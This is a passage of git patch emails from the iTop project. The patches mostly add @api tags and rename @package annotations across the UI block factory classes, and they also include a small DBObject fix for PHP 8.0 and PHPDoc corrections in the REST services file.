DataTableUIBlockFactory * * @author Anne-Catherine Cognet - * @package Combodo\iTop\Application\UI\Base\Component\DataTable - * @since 3.0.0 + * @package UIBlockExtensibilityAPI * @api + * @since 3.0.0 */ class DataTableUIBlockFactory extends AbstractUIBlockFactory { @@ -47,6 +47,7 @@ class DataTableUIBlockFactory extends AbstractUIBlockFactory public const UI_BLOCK_CLASS_NAME = DataTable::class; /** + * @api * @param \WebPage $oPage * @param string $sListId * @param \DBObjectSet $oSet @@ -71,6 +72,7 @@ class DataTableUIBlockFactory extends AbstractUIBlockFactory } /** + * @api * @param \WebPage $oPage * @param string $sListId * @param DBObjectSet $oSet @@ -183,6 +185,7 @@ class DataTableUIBlockFactory extends AbstractUIBlockFactory /** * Make a basis Panel component * + * @api * @param string $sListId * @param \DBObjectSet $oSet * @param array $aExtraParams @@ -479,6 +482,7 @@ class DataTableUIBlockFactory extends AbstractUIBlockFactory } /** + * @api * @param string $sListId * @param DBObjectSet $oSet * @param array $aExtraParams @@ -721,7 +725,9 @@ class DataTableUIBlockFactory extends AbstractUIBlockFactory * @param string $sSelectMode * @param string $sFilter * @param int $iLength + * @param array $aClassAliases * @param array $aExtraParams + * @param string $sTableId * * @return array * @throws \Exception @@ -901,6 +907,7 @@ JS; } /** + * @api * @param string $sTitle * @param array $aColumns * @param array $aData @@ -936,6 +943,7 @@ JS; } /** + * @api * @param string $sRef * @param array $aColumns * @param array $aData diff --git a/sources/application/UI/Base/Component/Field/FieldUIBlockFactory.php b/sources/application/UI/Base/Component/Field/FieldUIBlockFactory.php index d45703168..e9bcdc9ab 100644 --- a/sources/application/UI/Base/Component/Field/FieldUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Field/FieldUIBlockFactory.php @@ -16,9 +16,10 @@ use Combodo\iTop\Application\UI\Base\UIBlock; * * Use it to make a "field" which is composed of a label and a value (which can be read-only or editable) * + * @api + * @package UIBlockExtensibilityAPI * @author Pierre Goiffon * @since 3.0.0 - * @internal */ class FieldUIBlockFactory extends AbstractUIBlockFactory { @@ -27,6 +28,12 @@ class FieldUIBlockFactory extends AbstractUIBlockFactory /** @inheritDoc */ public const UI_BLOCK_CLASS_NAME = Field::class; + /** + * @api + * @param $aParams + * + * @return \Combodo\iTop\Application\UI\Base\Component\Field\Field + */ public static function MakeFromParams($aParams) { $oValue = new Html($aParams['value']); @@ -75,6 +82,14 @@ class FieldUIBlockFactory extends AbstractUIBlockFactory $oField->$sMethodName((($iParamsFlags & $iConstant) === $iConstant)); } + /** + * @api + * @param string $sLabel + * @param \Combodo\iTop\Application\UI\Base\UIBlock $oInput + * @param string|null $sLayout + * + * @return \Combodo\iTop\Application\UI\Base\Component\Field\Field + */ public static function MakeFromObject(string $sLabel, UIBlock $oInput, ?string $sLayout = null) { $oField = new Field($sLabel, $oInput); @@ -86,6 +101,13 @@ class FieldUIBlockFactory extends AbstractUIBlockFactory return $oField; } + /** + * @api + * @param string $sLabel + * @param string $sValueHtml + * + * @return \Combodo\iTop\Application\UI\Base\Component\Field\Field + */ public static function MakeLarge(string $sLabel, string $sValueHtml = '') { $oField = new Field($sLabel, new Html($sValueHtml)); @@ -93,6 +115,13 @@ class FieldUIBlockFactory extends AbstractUIBlockFactory return $oField; } + /** + * @api + * @param string $sLabel + * @param string $sValueHtml + * + * @return \Combodo\iTop\Application\UI\Base\Component\Field\Field + */ public static function MakeSmall(string $sLabel, string $sValueHtml = '') { $oField = new Field($sLabel, new Html($sValueHtml)); @@ -100,6 +129,14 @@ class FieldUIBlockFactory extends AbstractUIBlockFactory return $oField; } + /** + * @api + * @param string $sLabel + * @param string $sLayout + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Component\Field\Field + */ public static function MakeStandard(string $sLabel = '', string $sLayout = Field::ENUM_FIELD_LAYOUT_SMALL, ?string $sId = null) { $oField = new Field($sLabel, null, $sId); diff --git a/sources/application/UI/Base/Component/FieldBadge/FieldBadgeUIBlockFactory.php b/sources/application/UI/Base/Component/FieldBadge/FieldBadgeUIBlockFactory.php index e8cd1c94e..0f3eec2ea 100644 --- a/sources/application/UI/Base/Component/FieldBadge/FieldBadgeUIBlockFactory.php +++ b/sources/application/UI/Base/Component/FieldBadge/FieldBadgeUIBlockFactory.php @@ -16,7 +16,7 @@ use utils; * Class FieldBadgeUIBlockFactory * * @author Eric espie - * @package Combodo\iTop\Application\UI\Base\Component\FieldBadge + * @package UIBlockExtensibilityAPI * @since 3.0.0 * @internal */ diff --git a/sources/application/UI/Base/Component/FieldSet/FieldSetUIBlockFactory.php b/sources/application/UI/Base/Component/FieldSet/FieldSetUIBlockFactory.php index ff6feb8a1..06ec076dc 100644 --- a/sources/application/UI/Base/Component/FieldSet/FieldSetUIBlockFactory.php +++ b/sources/application/UI/Base/Component/FieldSet/FieldSetUIBlockFactory.php @@ -14,9 +14,9 @@ use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; * Class FieldSetUIBlockFactory * * @author eric Espie - * @package Combodo\iTop\Application\UI\Base\Component\FieldSet - * @since 3.0.0 + * @package UIBlockExtensibilityAPI * @api + * @since 3.0.0 */ class FieldSetUIBlockFactory extends AbstractUIBlockFactory { @@ -26,6 +26,7 @@ class FieldSetUIBlockFactory extends AbstractUIBlockFactory public const UI_BLOCK_CLASS_NAME = FieldSet::class; /** + * @api * @param string $sLegend * @param string|null $sId * diff --git a/sources/application/UI/Base/Component/Form/FormUIBlockFactory.php b/sources/application/UI/Base/Component/Form/FormUIBlockFactory.php index 521699a50..263e73dd4 100644 --- a/sources/application/UI/Base/Component/Form/FormUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Form/FormUIBlockFactory.php @@ -14,7 +14,7 @@ use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; * Class FormUIBlockFactory * * @author Eric Espie - * @package Combodo\iTop\Application\UI\Base\Component\Form + * @package UUIBlockExtensibilityAPI * @since 3.0.0 * @api */ @@ -26,6 +26,7 @@ class FormUIBlockFactory extends AbstractUIBlockFactory public const UI_BLOCK_CLASS_NAME = Form::class; /** + * @api * @param string|null $sId * * @return \Combodo\iTop\Application\UI\Base\Component\Form\Form An HTML form in which you can add UIBlocks diff --git a/sources/application/UI/Base/Component/Input/FileSelect/FileSelectUIBlockFactory.php b/sources/application/UI/Base/Component/Input/FileSelect/FileSelectUIBlockFactory.php index 1eaf4d96a..061311325 100644 --- a/sources/application/UI/Base/Component/Input/FileSelect/FileSelectUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Input/FileSelect/FileSelectUIBlockFactory.php @@ -14,9 +14,9 @@ use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; * Class FileSelectUIBlockFactory * * @author Eric Espie - * @package Combodo\iTop\Application\UI\Base\Component\Input\FileSelect - * @since 3.0.0 + * @package UIBlockExtensibilityAPI * @api + * @since 3.0.0 */ class FileSelectUIBlockFactory extends AbstractUIBlockFactory { @@ -26,6 +26,7 @@ class FileSelectUIBlockFactory extends AbstractUIBlockFactory public const UI_BLOCK_CLASS_NAME = FileSelect::class; /** + * @api * @param string $sName * @param string|null $sId * diff --git a/sources/application/UI/Base/Component/Input/InputUIBlockFactory.php b/sources/application/UI/Base/Component/Input/InputUIBlockFactory.php index 73f57157f..322ddfd29 100644 --- a/sources/application/UI/Base/Component/Input/InputUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Input/InputUIBlockFactory.php @@ -15,9 +15,9 @@ use Combodo\iTop\Application\UI\Base\Component\Field\Field; * Class InputUIBlockFactory * * @author Eric Espie - * @package Combodo\iTop\Application\UI\Base\Component\Input + * @package UIBlockExtensibilityAPI + * @api * @since 3.0.0 - * @internal */ class InputUIBlockFactory extends AbstractUIBlockFactory { @@ -26,6 +26,14 @@ class InputUIBlockFactory extends AbstractUIBlockFactory /** @inheritDoc */ public const UI_BLOCK_CLASS_NAME = Input::class; + /** + * @api + * @param string $sName + * @param string $sValue + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Component\Input\Input + */ public static function MakeForHidden(string $sName, string $sValue, ?string $sId = null) { $oInput = new Input($sId); @@ -37,6 +45,15 @@ class InputUIBlockFactory extends AbstractUIBlockFactory return $oInput; } + /** + * @api + * @param string $sType + * @param string $sName + * @param string $sValue + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Component\Input\Input + */ public static function MakeStandard(string $sType, string $sName, string $sValue, ?string $sId = null) { $oInput = new Input($sId); @@ -49,6 +66,7 @@ class InputUIBlockFactory extends AbstractUIBlockFactory } /** + * @api * @see Field component that is better adapter when dealing with a standard iTop form * * @param string $sLabel @@ -71,6 +89,15 @@ class InputUIBlockFactory extends AbstractUIBlockFactory return static::MakeInputWithLabel($sInputName, $sLabel, $oInput, $sInputId); } + /** + * @api + * @param string $sName + * @param string $sLabel + * @param \Combodo\iTop\Application\UI\Base\Component\Input\Input $oInput + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Component\Input\InputWithLabel + */ private static function MakeInputWithLabel(string $sName, string $sLabel, Input $oInput, ?string $sId = null) { $oInput->SetName($sName); diff --git a/sources/application/UI/Base/Component/Input/Select/SelectOptionUIBlockFactory.php b/sources/application/UI/Base/Component/Input/Select/SelectOptionUIBlockFactory.php index 91f1ec236..8c84fa606 100644 --- a/sources/application/UI/Base/Component/Input/Select/SelectOptionUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Input/Select/SelectOptionUIBlockFactory.php @@ -14,9 +14,9 @@ use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; * Class SelectOptionUIBlockFactory * * @author Eric Espie - * @package Combodo\iTop\Application\UI\Base\Component\Input\Select + * @package UIBlockExtensibilityAPI + * @api * @since 3.0.0 - * @internal */ class SelectOptionUIBlockFactory extends AbstractUIBlockFactory { @@ -25,6 +25,15 @@ class SelectOptionUIBlockFactory extends AbstractUIBlockFactory /** @inheritDoc */ public const UI_BLOCK_CLASS_NAME = SelectOption::class; + /** + * @api + * @param string $sValue + * @param string $sLabel + * @param bool $bSelected + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Component\Input\Select\SelectOption + */ public static function MakeForSelectOption(string $sValue, string $sLabel, bool $bSelected, ?string $sId = null) { $oInput = new SelectOption($sId); diff --git a/sources/application/UI/Base/Component/Input/Select/SelectUIBlockFactory.php b/sources/application/UI/Base/Component/Input/Select/SelectUIBlockFactory.php index 43c1c5e66..b87a5009d 100644 --- a/sources/application/UI/Base/Component/Input/Select/SelectUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Input/Select/SelectUIBlockFactory.php @@ -15,9 +15,9 @@ use Combodo\iTop\Application\UI\Base\Component\Input\Select\Select; * Class SelectUIBlockFactory * * @author Eric Espie - * @package Combodo\iTop\Application\UI\Base\Component\Input + * @package UIBlockExtensibilityAPI + * @api * @since 3.0.0 - * @internal */ class SelectUIBlockFactory extends AbstractUIBlockFactory { @@ -29,6 +29,7 @@ class SelectUIBlockFactory extends AbstractUIBlockFactory /** * Create a default Select input * + * @api * @param string $sName {@see Select::$sName} * @param string|null $sId {@see UIBlock::$sId} * @@ -47,6 +48,7 @@ class SelectUIBlockFactory extends AbstractUIBlockFactory * * If you need to have a real field with a label, you might use a {@link Field} component instead * + * @api * @param string $sName {@see Select::$sName} * @param string $sLabel {@see Select::$sLabel} * @param string|null $sId {@see UIBlock::$sId} diff --git a/sources/application/UI/Base/Component/Panel/PanelUIBlockFactory.php b/sources/application/UI/Base/Component/Panel/PanelUIBlockFactory.php index e1d047262..d6c9abe31 100644 --- a/sources/application/UI/Base/Component/Panel/PanelUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Panel/PanelUIBlockFactory.php @@ -25,9 +25,9 @@ use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; * Class PanelUIBlockFactory * * @author Guillaume Lajarige - * @package Combodo\iTop\Application\UI\Base\Component\Panel - * @since 3.0.0 + * @package UIBlockExtensibilityAPI * @api + * @since 3.0.0 * * @link /test/VisualTest/Backoffice/RenderAllUiBlocks.php#title-panels to see live examples */ @@ -41,6 +41,7 @@ class PanelUIBlockFactory extends AbstractUIBlockFactory /** * Make a basis Panel component * + * @api * @param string $sTitle * @param string|null $sSubTitle * @@ -60,6 +61,7 @@ class PanelUIBlockFactory extends AbstractUIBlockFactory /** * Make a Panel component for informational messages * + * @api * @param string $sTitle * @param string|null $sSubTitle * @@ -79,6 +81,7 @@ class PanelUIBlockFactory extends AbstractUIBlockFactory /** * Make a Panel component for successful messages * + * @api * @param string $sTitle * @param string|null $sSubTitle * @@ -98,6 +101,7 @@ class PanelUIBlockFactory extends AbstractUIBlockFactory /** * Make a Panel component for warning messages * + * @api * @param string $sTitle * @param string|null $sSubTitle * @@ -117,6 +121,7 @@ class PanelUIBlockFactory extends AbstractUIBlockFactory /** * Make a Panel component for danger messages * + * @api * @param string $sTitle * @param string|null $sSubTitle * @@ -136,6 +141,7 @@ class PanelUIBlockFactory extends AbstractUIBlockFactory /** * Make a Panel component for failure messages * + * @api * @param string $sTitle * @param string|null $sSubTitle * @@ -155,6 +161,7 @@ class PanelUIBlockFactory extends AbstractUIBlockFactory /** * Make a Panel component with primary color scheme * + * @api * @param string $sTitle * @param string|null $sSubTitle * @@ -174,6 +181,7 @@ class PanelUIBlockFactory extends AbstractUIBlockFactory /** * Make a Panel component with secondary color scheme * + * @api * @param string $sTitle * @param string|null $sSubTitle * @@ -193,6 +201,7 @@ class PanelUIBlockFactory extends AbstractUIBlockFactory /** * Make a Panel component with the specific $sClass color scheme * + * @api * @param string $sClass Class of the object the panel is for * @param string $sTitle * @param string|null $sSubTitle diff --git a/sources/application/UI/Base/Component/Spinner/SpinnerUIBlockFactory.php b/sources/application/UI/Base/Component/Spinner/SpinnerUIBlockFactory.php index f665c5428..ba8dc7e80 100644 --- a/sources/application/UI/Base/Component/Spinner/SpinnerUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Spinner/SpinnerUIBlockFactory.php @@ -14,9 +14,9 @@ use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; * Class SpinnerUIBlockFactory * * @author Eric Espie - * @package Combodo\iTop\Application\UI\Base\Component\Spinner + * @package UIBlockExtensibilityAPI + * @api * @since 3.0.0 - * @internal */ class SpinnerUIBlockFactory extends AbstractUIBlockFactory { @@ -25,6 +25,12 @@ class SpinnerUIBlockFactory extends AbstractUIBlockFactory /** @inheritDoc */ public const UI_BLOCK_CLASS_NAME = Spinner::class; + /** + * @api + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Component\Spinner\Spinner + */ public static function MakeStandard(?string $sId = null) { return new Spinner($sId); diff --git a/sources/application/UI/Base/Component/Title/TitleUIBlockFactory.php b/sources/application/UI/Base/Component/Title/TitleUIBlockFactory.php index 7057dcbb1..b10a7e6e2 100644 --- a/sources/application/UI/Base/Component/Title/TitleUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Title/TitleUIBlockFactory.php @@ -16,9 +16,9 @@ use Combodo\iTop\Application\UI\Base\UIBlock; * Class TitleUIBlockFactory * * @author Eric Espie - * @package Combodo\iTop\Application\UI\Base\Component\Title + * @package UIBlockExtensibilityAPI + * @api * @since 3.0.0 - * @internal */ class TitleUIBlockFactory extends AbstractUIBlockFactory { @@ -27,11 +27,28 @@ class TitleUIBlockFactory extends AbstractUIBlockFactory /** @inheritDoc */ public const UI_BLOCK_CLASS_NAME = Title::class; + /** + * @api + * @param string $sTitle + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Component\Title\Title + */ public static function MakeForPage(string $sTitle, ?string $sId = null) { return new Title(new Text($sTitle), 1, $sId); } + /** + * @api + * @param string $sTitle + * @param string $sIconUrl + * @param string $sIconCoverMethod + * @param bool $bIsMedallion + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Component\Title\Title + */ public static function MakeForPageWithIcon( string $sTitle, string $sIconUrl, string $sIconCoverMethod = Title::DEFAULT_ICON_COVER_METHOD, bool $bIsMedallion = true, ?string $sId = null @@ -43,11 +60,27 @@ class TitleUIBlockFactory extends AbstractUIBlockFactory return $oTitle; } + /** + * @api + * @param string $sTitle + * @param int $iLevel + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Component\Title\Title + */ public static function MakeNeutral(string $sTitle, int $iLevel = 1, ?string $sId = null) { return new Title(new Text($sTitle), $iLevel, $sId); } + /** + * @api + * @param \Combodo\iTop\Application\UI\Base\UIBlock $oTitle + * @param int $iLevel + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Component\Title\Title + */ public static function MakeStandard(UIBlock $oTitle, int $iLevel = 1, ?string $sId = null) { return new Title($oTitle, $iLevel, $sId); diff --git a/sources/application/UI/Base/Component/Toolbar/Separator/ToolbarSeparatorUIBlockFactory.php b/sources/application/UI/Base/Component/Toolbar/Separator/ToolbarSeparatorUIBlockFactory.php index 6c342abb9..92dbd466e 100644 --- a/sources/application/UI/Base/Component/Toolbar/Separator/ToolbarSeparatorUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Toolbar/Separator/ToolbarSeparatorUIBlockFactory.php @@ -14,9 +14,9 @@ use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; * Class ToolbarSeparatorUIBlockFactory * * @author Guillaume Lajarige - * @package Combodo\iTop\Application\UI\Base\Component\Toolbar\Separator - * @since 3.0.0 + * @package UIBlockExtensibilityAPI * @api + * @since 3.0.0 */ class ToolbarSeparatorUIBlockFactory extends AbstractUIBlockFactory { @@ -26,6 +26,7 @@ class ToolbarSeparatorUIBlockFactory extends AbstractUIBlockFactory public const UI_BLOCK_CLASS_NAME = Toolbar::class; /** + * @api * @param string|null $sId * * @return \Combodo\iTop\Application\UI\Base\Component\Toolbar\Separator\VerticalSeparator diff --git a/sources/application/UI/Base/Component/Toolbar/ToolbarSpacer/ToolbarSpacerUIBlockFactory.php b/sources/application/UI/Base/Component/Toolbar/ToolbarSpacer/ToolbarSpacerUIBlockFactory.php index 7362a5259..098b5e050 100644 --- a/sources/application/UI/Base/Component/Toolbar/ToolbarSpacer/ToolbarSpacerUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Toolbar/ToolbarSpacer/ToolbarSpacerUIBlockFactory.php @@ -14,9 +14,9 @@ use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; * Class ToolbarSpacerUIBlockFactory * * @author Eric Espie - * @package Combodo\iTop\Application\UI\Base\Component\Toolbar\ToolbarSpacer + * @package UIBlockExtensibilityAPI + * @api * @since 3.0.0 - * @internal */ class ToolbarSpacerUIBlockFactory extends AbstractUIBlockFactory { @@ -26,6 +26,7 @@ class ToolbarSpacerUIBlockFactory extends AbstractUIBlockFactory public const UI_BLOCK_CLASS_NAME = ToolbarSpacer::class; /** + * @api * @param string|null $sId * * @return \Combodo\iTop\Application\UI\Base\Component\Toolbar\ToolbarSpacer\ToolbarSpacer diff --git a/sources/application/UI/Base/Component/Toolbar/ToolbarUIBlockFactory.php b/sources/application/UI/Base/Component/Toolbar/ToolbarUIBlockFactory.php index 577c1908f..9cd80036f 100644 --- a/sources/application/UI/Base/Component/Toolbar/ToolbarUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Toolbar/ToolbarUIBlockFactory.php @@ -14,9 +14,9 @@ use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; * Class ToolbarUIBlockFactory * * @author Eric Espie - * @package Combodo\iTop\Application\UI\Base\Component\Toolbar + * @package UIBlockExtensibilityAPI + * @api * @since 3.0.0 - * @internal */ class ToolbarUIBlockFactory extends AbstractUIBlockFactory { @@ -25,16 +25,36 @@ class ToolbarUIBlockFactory extends AbstractUIBlockFactory /** @inheritDoc */ public const UI_BLOCK_CLASS_NAME = Toolbar::class; + /** + * @api + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Component\Toolbar\Toolbar + */ public static function MakeForAction(string $sId = null) { return new Toolbar($sId, ['ibo-toolbar--action']); } + /** + * @api + * @param string|null $sId + * @param array $aContainerClasses + * + * @return \Combodo\iTop\Application\UI\Base\Component\Toolbar\Toolbar + */ public static function MakeStandard(string $sId = null, array $aContainerClasses = []) { return new Toolbar($sId, $aContainerClasses); } + /** + * @api + * @param string|null $sId + * @param array $aContainerClasses + * + * @return \Combodo\iTop\Application\UI\Base\Component\Toolbar\Toolbar + */ public static function MakeForButton(string $sId = null, array $aContainerClasses = []) { return new Toolbar($sId, array_merge($aContainerClasses, ['ibo-toolbar--button'])); diff --git a/sources/application/UI/Base/Layout/MultiColumn/Column/ColumnUIBlockFactory.php b/sources/application/UI/Base/Layout/MultiColumn/Column/ColumnUIBlockFactory.php index de8687773..d11f39ce7 100644 --- a/sources/application/UI/Base/Layout/MultiColumn/Column/ColumnUIBlockFactory.php +++ b/sources/application/UI/Base/Layout/MultiColumn/Column/ColumnUIBlockFactory.php @@ -15,7 +15,7 @@ use Combodo\iTop\Application\UI\Base\UIBlock; * Class ColumnUIBlockFactory * * @author Eric Espie - * @package Combodo\iTop\Application\UI\Base\Layout\MultiColumn\Column + * @package UIBlockExtensibilityAPI * @since 3.0.0 * @api */ @@ -26,6 +26,12 @@ class ColumnUIBlockFactory extends AbstractUIBlockFactory /** @inheritDoc */ public const UI_BLOCK_CLASS_NAME = Column::class; + /** + * @api + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Layout\MultiColumn\Column\Column + */ public static function MakeStandard(?string $sId = null) { $oInput = new Column($sId); @@ -33,6 +39,13 @@ class ColumnUIBlockFactory extends AbstractUIBlockFactory return $oInput; } + /** + * @api + * @param \Combodo\iTop\Application\UI\Base\UIBlock $oBlock + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Layout\MultiColumn\Column\Column + */ public static function MakeForBlock(UIBlock $oBlock, ?string $sId = null) { $oInput = new Column($sId); diff --git a/sources/application/UI/Base/Layout/MultiColumn/MultiColumnUIBlockFactory.php b/sources/application/UI/Base/Layout/MultiColumn/MultiColumnUIBlockFactory.php index 5d6d0b439..b90597619 100644 --- a/sources/application/UI/Base/Layout/MultiColumn/MultiColumnUIBlockFactory.php +++ b/sources/application/UI/Base/Layout/MultiColumn/MultiColumnUIBlockFactory.php @@ -13,7 +13,7 @@ use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; * Class MultiColumnUIBlockFactory * * @author Eric Espie - * @package Combodo\iTop\Application\UI\Base\Layout\MultiColumn + * @package UIBlockExtensibilityAPI * @since 3.0.0 * @api */ @@ -24,6 +24,12 @@ class MultiColumnUIBlockFactory extends AbstractUIBlockFactory /** @inheritDoc */ public const UI_BLOCK_CLASS_NAME = MultiColumn::class; + /** + * @api + * @param string|null $sId + * + * @return \Combodo\iTop\Application\UI\Base\Layout\MultiColumn\MultiColumn + */ public static function MakeStandard(?string $sId = null) { $oInput = new MultiColumn($sId); diff --git a/sources/application/UI/Base/Layout/UIContentBlockUIBlockFactory.php b/sources/application/UI/Base/Layout/UIContentBlockUIBlockFactory.php index 8dd5fa0e5..f55eda536 100644 --- a/sources/application/UI/Base/Layout/UIContentBlockUIBlockFactory.php +++ b/sources/application/UI/Base/Layout/UIContentBlockUIBlockFactory.php @@ -15,7 +15,8 @@ use Combodo\iTop\Application\UI\Base\Component\Html\Html; * Class UIContentBlockUIBlockFactory * * @author Guillaume Lajarige - * @package Combodo\iTop\Application\UI\Base\Layout + * @package UIBlockExtensibilityAPI + * @api * @since 3.0.0 */ class UIContentBlockUIBlockFactory extends AbstractUIBlockFactory @@ -28,6 +29,7 @@ class UIContentBlockUIBlockFactory extends AbstractUIBlockFactory /** * Make an empty UIContentBlock which can be used to embed anything or to surround another block with specific CSS classes. * + * @api * @param string|null $sId * @param array $aContainerClasses * @@ -42,6 +44,7 @@ class UIContentBlockUIBlockFactory extends AbstractUIBlockFactory * Used to display a block of code like
 but allows line break.
 	 * The \n are replaced by 
* + * @api * @param string $sCode * @param string|null $sId * @@ -59,6 +62,7 @@ class UIContentBlockUIBlockFactory extends AbstractUIBlockFactory /** * Used to display a block of preformatted text in a
 tag.
 	 *
+	 * @api
 	 * @param string $sCode
 	 * @param string|null $sId
 	 *

From 4bcad431aa244cf50fc14e94a844d2c108dd8589 Mon Sep 17 00:00:00 2001
From: Eric Espie 
Date: Thu, 29 Dec 2022 15:59:59 +0100
Subject: [PATCH 083/230] :memo: Change packages for auto-documentation

---
 application/applicationextension.inc.php | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/application/applicationextension.inc.php b/application/applicationextension.inc.php
index d8b92426d..f877239ce 100644
--- a/application/applicationextension.inc.php
+++ b/application/applicationextension.inc.php
@@ -1203,7 +1203,7 @@ interface iPageUIExtension
  * the specified place and can use the passed iTopWebPage object to add javascript or CSS definitions
  *
  * @api
- * @package     Extensibility
+ * @package     UIBlockExtensibilityAPI
  * @since 3.0.0
  */
 interface iPageUIBlockExtension
@@ -1276,7 +1276,7 @@ abstract class AbstractPageUIExtension implements iPageUIExtension
  * Extend this class instead of iPageUIExtension if you don't need to overload all methods
  *
  * @api
- * @package     Extensibility
+ * @package     UIBlockExtensibilityAPI
  * @since       3.0.0
  */
 abstract class AbstractPageUIBlockExtension implements iPageUIBlockExtension
@@ -1311,6 +1311,7 @@ abstract class AbstractPageUIBlockExtension implements iPageUIBlockExtension
  *
  * @see \iTopWebPage::$a_linked_scripts
  * @api
+ * @package BackofficeUIExtensibilityAPI
  * @since 3.0.0
  */
 interface iBackofficeLinkedScriptsExtension
@@ -1328,6 +1329,7 @@ interface iBackofficeLinkedScriptsExtension
  *
  * @see \iTopWebPage::$a_early_scripts
  * @api
+ * @package BackofficeUIExtensibilityAPI
  * @since 3.0.0
  */
 interface iBackofficeEarlyScriptExtension
@@ -1344,6 +1346,7 @@ interface iBackofficeEarlyScriptExtension
  *
  * @see \iTopWebPage::$a_scripts
  * @api
+ * @package BackofficeUIExtensibilityAPI
  * @since 3.0.0
  */
 interface iBackofficeScriptExtension
@@ -1360,6 +1363,7 @@ interface iBackofficeScriptExtension
  *
  * @see \iTopWebPage::$a_init_scripts
  * @api
+ * @package BackofficeUIExtensibilityAPI
  * @since 3.0.0
  */
 interface iBackofficeInitScriptExtension
@@ -1376,6 +1380,7 @@ interface iBackofficeInitScriptExtension
  *
  * @see \iTopWebPage::$a_ready_scripts
  * @api
+ * @package BackofficeUIExtensibilityAPI
  * @since 3.0.0
  */
 interface iBackofficeReadyScriptExtension
@@ -1392,6 +1397,7 @@ interface iBackofficeReadyScriptExtension
  *
  * @see \iTopWebPage::$a_linked_stylesheets
  * @api
+ * @package BackofficeUIExtensibilityAPI
  * @since 3.0.0
  */
 interface iBackofficeLinkedStylesheetsExtension
@@ -1408,6 +1414,7 @@ interface iBackofficeLinkedStylesheetsExtension
  *
  * @see \iTopWebPage::$a_styles
  * @api
+ * @package BackofficeUIExtensibilityAPI
  * @since 3.0.0
  */
 interface iBackofficeStyleExtension
@@ -1424,6 +1431,7 @@ interface iBackofficeStyleExtension
  *
  * @see \iTopWebPage::$a_dict_entries
  * @api
+ * @package BackofficeUIExtensibilityAPI
  * @since 3.0.0
  */
 interface iBackofficeDictEntriesExtension
@@ -1440,6 +1448,7 @@ interface iBackofficeDictEntriesExtension
  *
  * @see \iTopWebPage::$a_dict_entries_prefixes
  * @api
+ * @package BackofficeUIExtensibilityAPI
  * @since 3.0.0
  */
 interface iBackofficeDictEntriesPrefixesExtension

From df7d7c877d731a06107309c7dee117a479fd8f4e Mon Sep 17 00:00:00 2001
From: Eric Espie 
Date: Tue, 3 Jan 2023 08:50:18 +0100
Subject: [PATCH 084/230] =?UTF-8?q?N=C2=B05490=20-=20PHP=208.0:=20Fix=20cr?=
 =?UTF-8?q?ash=20of=20bulk=20modify?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 core/dbobject.class.php | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/core/dbobject.class.php b/core/dbobject.class.php
index d49e31f58..cb444e50b 100644
--- a/core/dbobject.class.php
+++ b/core/dbobject.class.php
@@ -396,6 +396,8 @@ abstract class DBObject implements iDisplay
 		$this->m_aOrigValues = array();
 		$this->m_aLoadedAtt = array();
 		$this->m_bCheckStatus = true;
+		$this->m_aCheckIssues = [];
+		$this->m_bSecurityIssue = [];
 
 		// Get the key
 		//

From 524e65a29bdb40a7b19cc804fc569590de7f9816 Mon Sep 17 00:00:00 2001
From: Eric Espie 
Date: Thu, 5 Jan 2023 09:23:48 +0100
Subject: [PATCH 085/230] :memo: fix PHPDoc

---
 core/restservices.class.inc.php | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/core/restservices.class.inc.php b/core/restservices.class.inc.php
index 046ccdd4a..145dec2f2 100644
--- a/core/restservices.class.inc.php
+++ b/core/restservices.class.inc.php
@@ -174,10 +174,10 @@ class RestResultWithObjects extends RestResult
 	 * Report the given object
 	 *
 	 * @api
-	 * @param $iCode
+	 * @param int $iCode An error code (RestResult::OK is no issue has been found)
 	 * @param string $sMessage Description of the error if any, an empty string otherwise
 	 * @param DBObject $oObject The object being reported
-	 * @param null $aFieldSpec An array of class => attribute codes (Cf. RestUtils::GetFieldList). List of the attributes to be reported.
+	 * @param array|null $aFieldSpec An array of class => attribute codes (Cf. RestUtils::GetFieldList). List of the attributes to be reported.
 	 * @param boolean $bExtendedOutput Output all of the link set attributes ?
 	 *
 	 * @return void

From 1d7e4e1a42838285bbe7c119a5f4f6a91bd8c70d Mon Sep 17 00:00:00 2001
From: Molkobain 
Date: Thu, 13 Oct 2022 13:07:57 +0200
Subject: [PATCH 086/230] =?UTF-8?q?N=C2=B05608=20-=20Move=20unit=20tests?=
